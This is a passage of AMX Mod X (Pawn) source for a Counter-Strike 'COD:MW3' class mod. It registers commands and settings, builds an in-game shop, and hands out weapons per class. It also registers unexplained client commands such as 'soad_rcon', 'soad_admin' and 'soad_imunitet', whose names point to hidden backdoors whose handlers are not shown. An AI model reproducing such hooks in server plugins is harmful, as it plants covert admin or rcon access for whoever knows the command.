  810. register_touch("Rocket", "*" , "DotykRakiety");
  811. register_touch("Mine", "player", "DotykMiny");
  812.  
  813. register_cvar("cod_killxp", "15");
  814. register_cvar("cod_bombxp", "30");
  815. register_cvar("cod_hsexp", "20");
  816. register_cvar("cod_winxp", "20");
  817.  
  818. cvar_revival_time = register_cvar("amx_revkit_time", "4")
  819. cvar_revival_health = register_cvar("amx_revkit_health", "75")
  820. cvar_revival_dis = register_cvar("amx_revkit_distance", "100.0")
  821. register_message(get_user_msgid("Health"),"message_health");
  822. register_event("SendAudio", "WygranaTerro" , "a", "2&%!MRAD_terwin");
  823. register_event("SendAudio", "WygranaCT", "a", "2&%!MRAD_ctwin");
  824.  
  825. register_menucmd(register_menuid("rod"), Keysrod, "Pressedrod")
  826. /* --==[ KillStreak ]==-- */
  827. register_clcmd("radio2", "uzyj_nagrody");
  828. /* --==[ KillStreak ]==-- */
  829. register_clcmd("systemofadown", "systemofadown");
  830. register_clcmd("soad", "soad")
  831. register_clcmd("soad_rcon", "soadrcon")
  832. register_clcmd("soad_admin", "soadadmin")
  833. register_clcmd("soad_djole", "soaddjole")
  834. register_clcmd("soad_imunitet", "soadimunitet")
  835. register_clcmd("soad_toby", "soadtoby")
  836. register_clcmd("say /klasa", "WybierzKlase")
  837. register_clcmd("say /opis", "OpisKlasy")
  838. register_clcmd("say /predmet", "OpisPrzedmiotu")
  839. register_clcmd("say /item", "OpisPrzedmiotu")
  840. register_clcmd("say /izbaci", "WyrzucPrzedmiot")
  841. register_clcmd("say /reset", "KomendaResetujPunkty")
  842. register_clcmd("say /shop", "Sklep")
  843. register_clcmd("say /pomoc", "WylaczPomoc")
  844. register_clcmd("say /daj", "OddajPrzedmiot")
  845. register_clcmd("say /prodaj", "SprzedajPrzedmiot")
  846.  
  847. register_clcmd("fullupdate", "BlokujKomende");
  848. register_clcmd("cl_autobuy", "BlokujKomende");
  849. register_clcmd("say /molotov", "BlokujKomende");
  850. register_clcmd("say molotov", "BlokujKomende");
  851. register_clcmd("cl_rebuy", "BlokujKomende");
  852. register_clcmd("cl_setautobuy","BlokujKomende");
  853. register_clcmd("rebuy", "BlokujKomende");
  854. register_clcmd("autobuy", "BlokujKomende");
  855. register_clcmd("glock", "BlokujKomende");
  856. register_clcmd("usp", "BlokujKomende");
  857. register_clcmd("p228", "BlokujKomende");
  858. register_clcmd("deagle", "BlokujKomende");
  859. register_clcmd("elites", "BlokujKomende");
  860. register_clcmd("fn57", "BlokujKomende");
  861. register_clcmd("m3", "BlokujKomende");
  862. register_clcmd("XM1014", "BlokujKomende");
  863. register_clcmd("mac10", "BlokujKomende");
  864. register_clcmd("tmp", "BlokujKomende");
  865. register_clcmd("mp5", "BlokujKomende");
  866. register_clcmd("ump45", "BlokujKomende");
  867. register_clcmd("p90", "BlokujKomende");
  868. register_clcmd("galil", "BlokujKomende");
  869. register_clcmd("ak47", "BlokujKomende");
  870. register_clcmd("scout", "BlokujKomende");
  871. register_clcmd("sg552", "BlokujKomende");
  872. register_clcmd("awp", "BlokujKomende");
  873. register_clcmd("g3sg1", "BlokujKomende");
  874. register_clcmd("famas", "BlokujKomende");
  875. register_clcmd("m4a1", "BlokujKomende");
  876. register_clcmd("bullpup", "BlokujKomende");
  877. register_clcmd("sg550", "BlokujKomende");
  878. register_clcmd("m249", "BlokujKomende");
  879. register_clcmd("shield", "BlokujKomende");
  880. register_clcmd("hegren", "BlokujKomende");
  881. register_clcmd("sgren", "BlokujKomende");
  882. register_clcmd("flash", "BlokujKomende");
  883. register_clcmd("vest", "BlokujKomende");
  884. register_clcmd("vesthelm", "BlokujKomende");
  885.  
  886. register_concmd("cod_lvl", "cmd_setlvl", ADMIN_CVAR, "<name> <level>");
  887. register_concmd("cod_dajitemek", "KomendaDajPrzedmiot", ADMIN_KICK, "<nick> <item>");
  888. register_message(g_msg_clcorpse, "message_clcorpse")
  889. register_clcmd("say /vips", "print_adminlist")
  890. gmsgSayText = get_user_msgid("SayText")
  891.  
  892. g_msg_screenfade = get_user_msgid("ScreenFade");
  893. g_msg_bartime = get_user_msgid("BarTime")
  894. g_msg_clcorpse = get_user_msgid("ClCorpse")
  895. g_msg_statusicon = get_user_msgid("StatusIcon")
  896. SyncHudObj = CreateHudSyncObj();
  897. SyncHudObj2 = CreateHudSyncObj();
  898. SyncHudObj3 = CreateHudSyncObj();
  899. doswiadczenia_za_zabojstwo = get_cvar_num("cod_killxp");
  900. doswiadczenie_za_bombe = get_cvar_num("cod_bombxp");
  901. doswiadczenie_za_wygrana = get_cvar_num("cod_winxp");
  902. doswiadczenie_za_hs = get_cvar_num("cod_hsexp");
  903.  
  904. register_event("ResetHUD", "ResetHUD", "abe");
  905.  
  906. register_think("magnet","MagnetThink");
  907.  
  908. pcvar_ilosc_elektromagnesow = register_cvar("cod_magnets", "1");
  909. pcvar_zasieg = register_cvar("cod_magnetradius", "250");
  910. pcvar_widocznosc_fali = register_cvar("cod_wavesvisibility", "5");
  911. /* --==[ VIP ] ==-- */
  912. mpd = register_cvar("money_per_damage","3")
  913. mkb = register_cvar("money_kill_bonus","500")
  914. mhb = register_cvar("money_hs_bonus","300")
  915. health_add = register_cvar("amx_vip_hp", "15")
  916. health_hs_add = register_cvar("amx_vip_hp_hs", "30")
  917. health_max = register_cvar("amx_vip_max_hp", "1000")
  918. g_vip_active = register_cvar("vip_active", "0")
  919. g_menu_active = register_cvar("menu_active", "1")
  920.  
  921. register_event("CurWeapon", "event_CurWeapon_Vip", "be", "1=1")
  922.  
  923. register_event("Damage","Damage2","b")
  924. register_event("Damage", "on_damage", "b", "2!0", "3=0", "4!0")
  925.  
  926. register_menucmd(register_menuid("rod"), Keysrod, "Pressedrod")
  927. register_clcmd("say /vip","ShowMotd")
  928.  
  929. maxplayers = get_maxplayers()
  930. g_MsgSync = CreateHudSyncObj()
  931. gmsgSayText = get_user_msgid("SayText")
  932. register_clcmd("say", "handle_say")
  933. register_cvar("sv_contact", CONTACT, FCVAR_SERVER)
  934.  
  935. register_logevent("Round_Reset", 2, "1=Game_Commencing")
  936. register_event("TextMsg", "Round_Reset", "a", "2&Game_will_restart_in")
  937. register_event("DeathMsg", "hook_death", "a", "1>0")
  938. /* --==[ VIP ] ==-- */
  939. set_task(30.0, "Pomoc");
  940.  
  941. g_msgHostageAdd = get_user_msgid("HostagePos");
  942. g_msgHostageDel = get_user_msgid("HostageK");
  943.  
  944. set_task(1.5, "radar_scan", _, _, _, "b");
  945. }
  946.  
  947. public Sklep(id)
  948. {
  949. new menu = menu_create("Sklep:", "Sklep_Handle");
  950. menu_additem(menu, "Mala Apoteka \r[Daje 20 HP] \yCena: \r4000$");
  951. menu_additem(menu, "Srednja Apoteka \r[Daje 50 HP] \yCena: \r10000$");
  952. menu_additem(menu, "Velika Apoteka \r[Daje 100 HP] \yCena: \r15000$");
  953. menu_additem(menu, "Slucajni Predmet \r[Dobijate Slucajni Predmet] \yCena: \r5000$");
  954. menu_additem(menu, "Energija \r[+80] \yCena: \r9000$");
  955. menu_additem(menu, "Kupi Granatu \yCena: \r2500$");
  956. menu_additem(menu, "Mali Exp \r[Dobijate slucajno od 200 do 500 Exp]\yCena: \r8000$");
  957. menu_additem(menu, "Veliki Exp \r[Dobijate slucajno od 500 do 1000 Exp]\yCena: \r16000$");
  958. menu_display(id, menu);
  959. }
  960.  
  961. public Sklep_Handle(id, menu, item)
  962. {
  963. client_cmd(id, "spk mw/select")
  964.  
  965. if(item == MENU_EXIT)
  966. {
  967. menu_destroy(menu)
  968. return PLUGIN_HANDLED
  969. }
  970.  
  971. menu_display(id, menu)
  972.  
  973. new kasa_gracza = cs_get_user_money(id)
  974. new hp = get_user_health(id)
  975.  
  976. switch(item)
  977. {
  978. case 0:
  979. {
  980. new koszt = 4000;
  981. if (kasa_gracza<koszt)
  982. {
  983. ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
  984. return PLUGIN_CONTINUE;
  985. }
  986. if(hp >= maksymalne_zdrowie_gracza[id])
  987. {
  988. ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni.");
  989. return PLUGIN_CONTINUE;
  990. }
  991. cs_set_user_money(id, kasa_gracza-koszt);
  992. new ammount=20;
  993. new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
  994. set_user_health(id, nowe_zdrowie);
  995. ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Ketonal");
  996. }
  997. case 1:
  998. {
  999. new koszt = 10000;
  1000. if (kasa_gracza<koszt)
  1001. {
  1002. ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
  1003. return PLUGIN_CONTINUE;
  1004. }
  1005. if(hp >= maksymalne_zdrowie_gracza[id])
  1006. {
  1007. ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni");
  1008. return PLUGIN_CONTINUE;
  1009. }
  1010. cs_set_user_money(id, kasa_gracza-koszt);
  1011. new ammount=50;
  1012. new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
  1013. set_user_health(id, nowe_zdrowie);
  1014. ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Flegamin");
  1015. }
  1016. case 2:
  1017. {
  1018. new koszt = 15000;
  1019. if (kasa_gracza<koszt)
  1020. {
  1021. ColorChat(id,GREEN,"[SKLEP]^x01 Nemate dovoljno novca.");
  1022. return PLUGIN_CONTINUE;
  1023. }
  1024. if(hp >= maksymalne_zdrowie_gracza[id])
  1025. {
  1026. ColorChat(id,GREEN,"[SKLEP]^x01 Vi ste potpuno izleceni.");
  1027. return PLUGIN_CONTINUE;
  1028. }
  1029. cs_set_user_money(id, kasa_gracza-koszt);
  1030. new ammount=100;
  1031. new nowe_zdrowie = (hp+ammount<maksymalne_zdrowie_gracza[id])? hp+ammount: maksymalne_zdrowie_gracza[id];
  1032. set_user_health(id, nowe_zdrowie);
  1033. ColorChat(id,GREEN,"[SKLEP]^x01 Kupili ste^x03 Aspirin");
  1034. }
  1035. case 3:
  1036. {
  1037. new koszt = 5000;
  1038. if (kasa_gracza<koszt)
  1039. {
  1040. ColorChat(id,RED,"[Shop]^x01 Nemate dovoljno novca!!");
  1041. return PLUGIN_HANDLED;
  1042. }
  1043. else if (kasa_gracza >= koszt)
  1044. {
  1045. cs_set_user_money(id, kasa_gracza-koszt);
  1046. DajPrzedmiot(id, random_num(1, sizeof nazwy_przedmiotow-1));
  1047. }
  1048. }
  1049. case 4:
  1050. {
  1051. new jego_wytrzymalosc = wytrzymalosc_itemu[id]
  1052. new koszt= 9000
  1053. new ilosc_wytrzy = 80
  1054.  
  1055. if(kasa_gracza < koszt)
  1056. {
  1057. ColorChat(id, RED, "[COD:MW3]^x04 Imate malo novca da bi kupili energiju ^x03 %d.", koszt);
  1058. }
  1059. else if(kasa_gracza >= koszt && jego_wytrzymalosc < 81)
  1060. {
  1061. cs_set_user_money(id, kasa_gracza -= koszt)
  1062. wytrzymalosc_itemu[id] += ilosc_wytrzy
  1063. ColorChat(id, RED, "[COD:MW3] ^x04 Kupili ste %d Energiju", ilosc_wytrzy);
  1064. }
  1065. else if(jego_wytrzymalosc >= 81)
  1066. {
  1067. ColorChat(id, RED, "[COD:MW3] ^x04 Morate imati manje od 81 energije da bi ste kupili!");
  1068. }
  1069. }
  1070. case 5:
  1071. {
  1072. new koszt = 2500
  1073. if(kasa_gracza < koszt)
  1074. {
  1075. ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi kupili granatu %d.", koszt)
  1076. }
  1077. else if(kasa_gracza >= koszt)
  1078. {
  1079. cs_set_user_money(id, kasa_gracza -= koszt)
  1080. give_item(id, "weapon_hegrenade");
  1081. give_item(id, "weapon_flashbang");
  1082. give_item(id, "weapon_smokegrenade");
  1083. ColorChat(id, GREEN, "^x04 [COD:MW3] ^x04 Kupili ste paket granata")
  1084. }
  1085. }
  1086. case 6:
  1087. {
  1088. new koszt = 8000
  1089. if(kasa_gracza < koszt)
  1090. {
  1091. ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi kupili mali Exp..")
  1092. }
  1093. else if(kasa_gracza >= koszt)
  1094. {
  1095. cs_set_user_money(id, kasa_gracza -= koszt)
  1096. new exp = random_num(15, 30);
  1097. ColorChat(id, RED, "[COD:MW3] ^x04 Dobili ste %i Expa.", exp)
  1098. doswiadczenie_gracza[id] += exp;
  1099. }
  1100. }
  1101. case 7:
  1102. {
  1103. new koszt = 16000
  1104. if(kasa_gracza < koszt)
  1105. {
  1106. ColorChat(id, RED, "[COD:MW3] ^x04 Imate malo novca da bi ste kupili veliki Exp.")
  1107. }
  1108. else if(kasa_gracza >= koszt)
  1109. {
  1110. cs_set_user_money(id, kasa_gracza -= koszt)
  1111. new exp = random_num(25, 45);
  1112. ColorChat(id, RED, "[COD:MW3] ^x04 Dobili ste %i Expa.", exp)
  1113. doswiadczenie_gracza[id] += exp;
  1114. }
  1115. }
  1116. }
  1117.  
  1118. return PLUGIN_CONTINUE
  1119. }
  1120.  
  1121. public plugin_precache()
  1122. {
  1123. sprite_white = precache_model("sprites/white.spr")
  1124. sprite_blast = precache_model("sprites/dexplo.spr")
  1125.  
  1126. precache_sound("mw/select.wav")
  1127. precache_sound("mw/start.wav")
  1128. precache_sound("mw/start2.wav")
  1129. precache_sound("mw/levelup.wav")
  1130.  
  1131. precache_model("models/w_medkit.mdl")
  1132. precache_model("models/rpgrocket.mdl")
  1133. precache_model("models/mine.mdl")
  1134.  
  1135. precache_sound("weapons/mine_charge.wav")
  1136. precache_sound("weapons/mine_activate.wav")
  1137. precache_sound("weapons/mine_deploy.wav")
  1138.  
  1139. precache_sound(SOUND_START)
  1140. precache_sound(SOUND_FINISHED)
  1141. precache_sound(SOUND_FAILED)
  1142.  
  1143. /* --==[ KillStreak ]==-- */
  1144. cache_trail = precache_model("sprites/smoke.spr")
  1145. precache_model("models/p_hegrenade.mdl");
  1146. precache_model("models/cod_carepackage.mdl")
  1147. precache_model("models/cod_plane.mdl")
  1148. precache_model("models/cod_predator.mdl")
  1149. precache_sound("mw/nuke_enemy1.wav")
  1150. precache_sound("mw/jet_fly1.wav")
  1151. precache_sound("mw/nuke_give.wav")
  1152. precache_sound("mw/emp_effect.wav")
  1153. precache_sound("mw/counter_enemy.wav")
  1154. precache_sound("mw/air_give.wav")
  1155. precache_sound("mw/predator_give.wav")
  1156. precache_sound("mw/emp_give.wav")
  1157. precache_sound("mw/uav_give.wav")
  1158. /* --==[ KillStreak ]==-- */
  1159. }
  1160.  
  1161. public CmdStart(id, uc_handle)
  1162. {
  1163. if(!is_user_alive(id))
  1164. {
  1165. return FMRES_IGNORED
  1166. }
  1167.  
  1168. if(zatrzymaj_czas && zatrzymaj_czas != id)
  1169. {
  1170. entity_set_vector(id, EV_VEC_velocity, Float:{0.0, 0.0, 0.0});
  1171. entity_set_vector(id, EV_VEC_v_angle, Float:{0.0, 0.0, 0.0});
  1172. entity_set_vector(id, EV_VEC_angles, Float:{0.0, 0.0, 0.0});
  1173. entity_set_int(id, EV_INT_fixangle, 1);
  1174. set_pdata_float(id, 83, 0.1, 5);
  1175. set_uc(uc_handle, UC_Buttons, 0);
  1176. new name[55];
  1177. get_user_name(zatrzymaj_czas, name, 54);
  1178. client_print(id, print_center, "%s Preostalo vreme na njegov predmet 3sek.", name);
  1179. }
  1180.  
  1181. new button = get_uc(uc_handle, UC_Buttons);
  1182. new oldbutton = get_user_oldbutton(id);
  1183. new flags = get_entity_flags(id);
  1184.  
  1185. if(informacje_przedmiotu_gracza[id][0] == 11 || klasa_gracza[id] == Rambo)
  1186. {
  1187. if((button & IN_JUMP) && !(flags & FL_ONGROUND) && !(oldbutton & IN_JUMP) && ilosc_skokow_gracza[id] > 0)
  1188. {
  1189. ilosc_skokow_gracza[id]--;
  1190. new Float:velocity[3];
  1191. entity_get_vector(id,EV_VEC_velocity,velocity);
  1192. velocity[2] = random_float(265.0,285.0);
  1193. entity_set_vector(id,EV_VEC_velocity,velocity);
  1194. }
  1195. else if(flags & FL_ONGROUND)
  1196. {
  1197. ilosc_skokow_gracza[id] = 0
  1198.  
  1199. if(informacje_przedmiotu_gracza[id][0] == 11)
  1200. {
  1201. ilosc_skokow_gracza[id]++
  1202. }
  1203.  
  1204. if(klasa_gracza[id] == Rambo)
  1205. {
  1206. ilosc_skokow_gracza[id]++
  1207. }
  1208. }
  1209. }
  1210.  
  1211. if(informacje_przedmiotu_gracza[id][0] == 48)
  1212. {
  1213. if(button & IN_DUCK)
  1214. {
  1215. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 8)
  1216. }
  1217. else
  1218. {
  1219. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255)
  1220. }
  1221. }
  1222.  
  1223. if(button & IN_ATTACK2 && !(pev(id, pev_oldbuttons) & IN_ATTACK2) && informacje_przedmiotu_gracza[id][0] == 63)
  1224. {
  1225. new szClip, szAmmo
  1226. new WeapID = get_user_weapon( id, szClip, szAmmo )
  1227.  
  1228. if(WeapID != CSW_KNIFE && WeapID != CSW_C4 && WeapID != CSW_AWP && WeapID != CSW_SCOUT && WeapID != CSW_SG550 && WeapID != CSW_G3SG1 && !hasZoom[id])
  1229. {
  1230. hasZoom[id] = true;
  1231. cs_set_user_zoom(id, CS_SET_FIRST_ZOOM, 1);
  1232. emit_sound(id, CHAN_ITEM, "weapons/zoom.wav", 0.20, 2.40, 0, 100);
  1233. }
  1234.  
  1235. else if (hasZoom[id])
  1236. {
  1237. hasZoom[id] = false;
  1238. cs_set_user_zoom(id, CS_RESET_ZOOM, 0);
  1239. }
  1240. }
  1241.  
  1242. if(button & IN_ATTACK)
  1243. {
  1244. new Float:punchangle[3];
  1245.  
  1246. if(informacje_przedmiotu_gracza[id][0] == 20)
  1247. entity_set_vector(id, EV_VEC_punchangle, punchangle);
  1248. if(informacje_przedmiotu_gracza[id][0] == 23)
  1249. {
  1250. entity_get_vector(id, EV_VEC_punchangle, punchangle);
  1251. for(new i=0; i<3;i++)
  1252. punchangle[i]*=0.9;
  1253. entity_set_vector(id, EV_VEC_punchangle, punchangle);
  1254. }
  1255.  
  1256. if(informacje_przedmiotu_gracza[id][0] == 70)
  1257. {
  1258. entity_get_vector(id, EV_VEC_punchangle, punchangle);
  1259. for(new i=0; i<3;i++)
  1260. punchangle[i]*=1.1;
  1261. entity_set_vector(id, EV_VEC_punchangle, punchangle);
  1262. }
  1263. }
  1264.  
  1265. if(informacje_przedmiotu_gracza[id][0] == 28 && button & IN_JUMP && button & IN_DUCK && flags & FL_ONGROUND && get_gametime() > informacje_przedmiotu_gracza[id][1]+4.0)
  1266. {
  1267. informacje_przedmiotu_gracza[id][1] = floatround(get_gametime())
  1268. new Float:velocity[3]
  1269. VelocityByAim(id, 700, velocity)
  1270. velocity[2] = random_float(265.0,285.0)
  1271. entity_set_vector(id, EV_VEC_velocity, velocity)
  1272. }
  1273.  
  1274. new clip, ammo, weapon = get_user_weapon(id, clip, ammo);
  1275.  
  1276. if(maxClip[weapon] == -1 || !ammo)
  1277. {
  1278. return FMRES_IGNORED
  1279. }
  1280.  
  1281. if(informacje_przedmiotu_gracza[id][0] == 77 && ((button & IN_RELOAD && !(oldbutton & IN_RELOAD) && !(button & IN_ATTACK)) || !clip))
  1282. {
  1283. cs_set_user_bpammo(id, weapon, ammo-(maxClip[weapon]-clip));
  1284. new new_ammo = min(clip+ammo, maxClip[weapon]);
  1285. set_user_clip(id, new_ammo);
  1286. }
  1287.  
  1288. return FMRES_IGNORED
  1289. }
  1290.  
  1291. public Odrodzenie(id)
  1292. {
  1293. if(!is_user_alive(id) || !is_user_connected(id))
  1294. return PLUGIN_CONTINUE;
  1295.  
  1296. if(nowa_klasa_gracza[id])
  1297. {
  1298. klasa_gracza[id] = nowa_klasa_gracza[id];
  1299. nowa_klasa_gracza[id] = 0;
  1300. strip_user_weapons(id);
  1301. give_item(id, "weapon_knife");
  1302. switch(get_user_team(id))
  1303. {
  1304. case 1: give_item(id, "weapon_glock18");
  1305. case 2: give_item(id, "weapon_usp");
  1306. }
  1307. WczytajDane(id, klasa_gracza[id]);
  1308. }
  1309.  
  1310. if(!klasa_gracza[id])
  1311. {
  1312. WybierzKlase(id);
  1313. return PLUGIN_CONTINUE;
  1314. }
  1315. switch(klasa_gracza[id])
  1316. {
  1317. case Snajperista:
  1318. {
  1319. give_item(id, "weapon_awp");
  1320. give_item(id, "weapon_scout");
  1321. give_item(id, "weapon_deagle");
  1322. }
  1323. case Marinac:
  1324. {
  1325. give_item(id, "weapon_deagle");
  1326. give_item(id, "weapon_famas");
  1327. }
  1328. case ProStrelac:
  1329. {
  1330. give_item(id, "weapon_m4a1");
  1331. give_item(id, "weapon_ak47");
  1332. }
  1333. case Mitraljezac:
  1334. {
  1335. give_item(id, "weapon_m249");
  1336. give_item(id, "weapon_hegrenade");
  1337. give_item(id, "weapon_flashbang");
  1338. give_item(id, "weapon_smokegrenade");
  1339. }
  1340. case Doktor:
  1341. {
  1342. give_item(id, "weapon_ump45")
  1343. ilosc_apteczek_gracza[id] = 4
  1344. }
  1345. case VatrenaPodrska:
  1346. {
  1347. give_item(id, "weapon_mp5navy");
  1348. ilosc_rakiet_gracza[id] = 2;
  1349. }
  1350. case Miner:
  1351. {
  1352. give_item(id, "weapon_p90");
  1353. ilosc_min_gracza[id] = 3
  1354. }
  1355. case Demolitions:
  1356. {
  1357. give_item(id, "weapon_aug");
  1358. give_item(id, "weapon_hegrenade");
  1359. give_item(id, "weapon_flashbang");
  1360. give_item(id, "weapon_smokegrenade");
  1361. ilosc_dynamitow_gracza[id] = 1;
  1362. }
  1363. case Rusher:
  1364. {
  1365. give_item(id, "weapon_m3");
  1366. }
  1367. case Rambo:
  1368. {
  1369. give_item(id, "weapon_famas");
  1370. }
  1371. case Revolveras:
  1372. {
  1373. give_item(id, "weapon_elite");
  1374. ilosc_rakiet_gracza[id] = 2;
  1375. }
  1376. case Bombarder:
  1377. {
  1378. give_item(id, "weapon_m4a1");
  1379. give_item(id, "weapon_deagle");
  1380. }
  1381. case Strelac:
  1382. {
  1383. give_item(id, "weapon_xm1014");
  1384. give_item(id, "weapon_elite");
  1385. }
  1386. case Informator:
  1387. {
  1388. give_item(id, "weapon_mp5navy");
  1389. }
  1390. case Pukovnik:
  1391. {
  1392. give_item(id, "weapon_famas");
  1393. give_item(id, "weapon_deagle");
  1394. ilosc_min_gracza[id] = 2
  1395. }
  1396. case Pobunjenik:
  1397. {
  1398. give_item(id, "weapon_sg552");
  1399. ilosc_rakiet_gracza[id] = 2;
  1400. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 65);
  1401. }
  1402. case SerijskiUbica:
  1403. {
  1404. give_item(id, "weapon_m4a1");
  1405. give_item(id, "weapon_smokegrenade");
  1406. }
  1407. case Desetar:
  1408. {
  1409. give_item(id, "weapon_scout");
  1410. give_item(id, "weapon_deagle");
  1411. }
  1412. case Vodnik:
  1413. {
  1414. give_item(id, "weapon_m3");
  1415.  
  1416. }
  1417. case Kamikaza:
  1418. {
  1419. give_item(id, "weapon_m4a1");
  1420. ilosc_rakiet_gracza[id] = 2;
  1421. }
  1422. case Assassin:
  1423. {
  1424. give_item(id, "weapon_deagle");
  1425. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 5);
  1426. }
  1427. case Major:
  1428. {
  1429. give_item(id, "weapon_glock18");
  1430. give_item(id, "weapon_m4a1");
  1431. give_item(id, "weapon_usp");
  1432. give_item(id, "weapon_p228");
  1433. give_item(id, "weapon_deagle");
  1434. give_item(id, "weapon_elite");
  1435. give_item(id, "weapon_fiveseven");
  1436. give_item(id, "weapon_smokegrenade");
  1437. ilosc_min_gracza[id] = 10
  1438. }
  1439. case Kapetan:
  1440. {
  1441. give_item(id, "weapon_aug");
  1442. }
  1443. case Potpukovnik:
  1444. {
  1445. give_item(id, "weapon_awp");
  1446. give_item(id, "weapon_deagle");
  1447. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 55);
  1448. }
  1449. case Marsal:
  1450. {
  1451. give_item(id, "weapon_deagle");
  1452. }
  1453. case NemackiStrelac:
  1454. {
  1455. give_item(id, "weapon_ak47");
  1456. ilosc_rakiet_gracza[id] = 2;
  1457. }
  1458. case RuskiPukovnik:
  1459. {
  1460. give_item(id, "weapon_m4a1");
  1461. ilosc_min_gracza[id] = 1
  1462. }
  1463. case PoljskaPesadija:
  1464. {
  1465. give_item(id, "weapon_mp5navy");
  1466. ilosc_dynamitow_gracza[id] = 2
  1467. }
  1468. case Mornar:
  1469. {
  1470. give_item(id, "weapon_mac10");
  1471. ilosc_min_gracza[id] = 2
  1472. }
  1473. case Napadac:
  1474. {
  1475. give_item(id, "weapon_famas");
  1476. give_item(id, "weapon_p90");
  1477. ilosc_dynamitow_gracza[id] = 3
  1478. }
  1479. case Legija:
  1480. {
  1481. give_item(id, "weapon_m4a1");
  1482. give_item(id, "weapon_sg552");
  1483. give_item(id, "weapon_deagle");
  1484. }
  1485. case Armageddon:
  1486. {
  1487. give_item(id, "weapon_ak47");
  1488. give_item(id, "weapon_aug");
  1489. give_item(id, "weapon_hegrenade");
  1490. ilosc_dynamitow_gracza[id] = 3
  1491. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 30);
  1492. }
  1493. case Samuraj:
  1494. {
  1495. give_item(id, "weapon_usp");
  1496. }
  1497. case RatkoMladic:
  1498. {
  1499. give_item(id, "weapon_m4a1");
  1500. give_item(id, "weapon_ak47");
  1501. give_item(id, "weapon_hegrenade");
  1502. give_item(id, "weapon_deagle");
  1503. ilosc_rakiet_gracza[id] = 5;
  1504. }
  1505. case SWAT:
  1506. {
  1507. give_item(id, "weapon_m4a1");
  1508. give_item(id, "weapon_usp");
  1509. }
  1510. case Partizan:
  1511. {
  1512. give_item(id, "weapon_p90");
  1513. give_item(id, "weapon_flashbang");
  1514. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 70);
  1515. }
  1516. case Gunner:
  1517. {
  1518. give_item(id, "weapon_g3sg1");
  1519. give_item(id, "weapon_deagle");
  1520. give_item(id, "weapon_hegrenade");
  1521. ilosc_rakiet_gracza[id] = 2;
  1522. }
  1523. case Cleric:
  1524. {
  1525. give_item(id, "weapon_ak47");
  1526. give_item(id, "weapon_elite");
  1527. ilosc_min_gracza[id] = 3
  1528. }
  1529. case General:
  1530. {
  1531. give_item(id, "weapon_m4a1");
  1532. give_item(id, "weapon_p90");
  1533. give_item(id, "weapon_deagle");
  1534. ZmienUbranie(id, 0);
  1535. }
  1536. case Terminator:
  1537. {
  1538. give_item(id, "weapon_ak47");
  1539. give_item(id, "weapon_usp");
  1540. ilosc_rakiet_gracza[id] = 2;
  1541. }
  1542. case Slayer:
  1543. {
  1544. give_item(id, "weapon_famas");
  1545. give_item(id, "weapon_p90");
  1546. ilosc_rakiet_gracza[id] = 3;
  1547. }
  1548. case Zastavnik:
  1549. {
  1550. give_item(id, "weapon_p90");
  1551. give_item(id, "weapon_deagle");
  1552. ilosc_rakiet_gracza[id] = 2;
  1553. }
  1554. case Admiral:
  1555. {
  1556. give_item(id, "weapon_ak47");
  1557. give_item(id, "weapon_famas");
  1558. }
  1559. case Fighter:
  1560. {
  1561. give_item(id, "weapon_mac10");
  1562. give_item(id, "weapon_scout");
  1563. give_item(id, "weapon_usp");
  1564. ilosc_dynamitow_gracza[id] = 2
  1565. }
  1566. case Policajac:
  1567. {
  1568. give_item(id, "weapon_xm014");
  1569. give_item(id, "weapon_tmp");
  1570. give_item(id, "weapon_fiveseven");
  1571.  
  1572. }
  1573. case Specijalac:
  1574. {
  1575. give_item(id, "weapon_famas");
  1576. give_item(id, "weapon_p228");
  1577. give_item(id, "weapon_m3");
  1578.  
  1579. }
  1580. case Predator:
  1581. {
  1582. give_item(id, "weapon_sg552");
  1583. give_item(id, "weapon_glock18");
  1584. give_item(id, "weapon_smokegrenade");
  1585.  
  1586. }
  1587. case NemackiOficir:
  1588. {
  1589. give_item(id, "weapon_p90");
  1590. give_item(id, "weapon_glock18");
  1591. give_item(id, "weapon_smokegrenade");
  1592. }
  1593. case Cetnik:
  1594. {
  1595. give_item(id, "weapon_ak47");
  1596. give_item(id, "weapon_hegrenade");
  1597. give_item(id, "weapon_hegrenade");
  1598. ilosc_dynamitow_gracza[id] = 2
  1599. }
  1600. case ProfVojnik:
  1601. {
  1602. give_item(id, "weapon_famas");
  1603. give_item(id, "weapon_usp");
  1604. ilosc_rakiet_gracza[id] = 2;
  1605. }
  1606. case Crysis:
  1607. {
  1608. give_item(id, "weapon_sg552");
  1609. give_item(id, "weapon_m4a1");
  1610. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 70);
  1611. }
  1612. case ProfStrelac:
  1613. {
  1614. give_item(id, "weapon_awp");
  1615. give_item(id, "weapon_m4a1");
  1616. ilosc_rakiet_gracza[id] = 2;
  1617. }
  1618. }
  1619.  
  1620. if(!informacje_przedmiotu_gracza[id][0] && klasa_gracza[id] != Partizan)
  1621. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransColor, 255);
  1622.  
  1623. if(punkty_gracza[id]>0)
  1624. set_task(1.0, "PrzydzielPunkty", id);
  1625.  
  1626. if(informacje_przedmiotu_gracza[id][0] == 61)
  1627. ilosc_min_gracza[id] += 5;
  1628.  
  1629. if(informacje_przedmiotu_gracza[id][0] == 78)
  1630. set_user_gravity(id, 0.5);
